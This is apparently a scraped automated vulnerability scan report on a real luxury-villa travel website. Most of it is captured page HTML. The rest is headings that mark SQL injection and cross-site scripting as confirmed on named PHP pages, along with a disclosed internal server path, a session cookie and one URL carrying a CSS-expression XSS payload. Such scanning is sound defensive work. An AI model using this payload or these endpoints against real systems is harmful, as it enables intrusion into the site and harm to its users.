src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal<..

http://theholidaygroup.com/luxury%20holidays/Cote%20d%60Azur%20/

Identified Internal Path(s)

/home/chroot/home/james/thehol/top/top.php

Request

GET /luxury%20holidays/Cote%20d%60Azur%20/ HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Cote%20d%60Azur%20/Cannes%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:08:29 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 11088
Content-Type: text/html

<html><head><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script> <title>theholidaygroup.com | Luxury Gauteng Villas</title><style type="text/css">body { /*scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000;*/ scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x; }h1 { font-family: arial; font-size: 20px; color: white; }h3 { font-family: arial; font-size: 11px; color: white; display: block; margin: 0px; padding: 0px; }td { font-family: arial; font-size: 15px; color: white; }p.imagecol, a.imagecol, a.imagecol:visited { font-family: arial; font-size: 13px; color: yellow; margin-top:0px; margin-bottom:15px; }select.tidy { color: #ffffff; background-color: #274083; font-size: 11px; width:180px; margin:0 0 20 0; }input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block; }form.tidy { display: inline; margin: 0px; padding: 0px; }a.management, a.management:visited { font-family: arial; font-size: 11px; text-decoration: none; color: red; margin:0px; }</style><script language="JavaScript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt="..

The DORK Report

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Total Requests

Average Speed

GHDB, DORK Tests

VULNERABILITIES

Boolean Based SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

/more_villas.php CONFIRMED

Parameters

Request

Response

/villa_deals.php CONFIRMED

Parameters

Request

Response

SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

/more_villas.php CONFIRMED

Parameters

Request

Response

/villa_deals.php CONFIRMED

Parameters

Request

Response

[High Possibility] SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

/more_villas.php

Parameters

Request

Response

/resortguide.php

Parameters

Request

Response

/resortguide.php

Parameters

Request

Response

/villa_deals.php

Parameters

Request

Response

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/rlargeimage.php CONFIRMED

Parameters

Request

Response

/more_villas.php CONFIRMED

Parameters

Request

Response

/rlargeimage.php CONFIRMED

Parameters

Request

Response

/villas-search.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

Parameters

Request

Response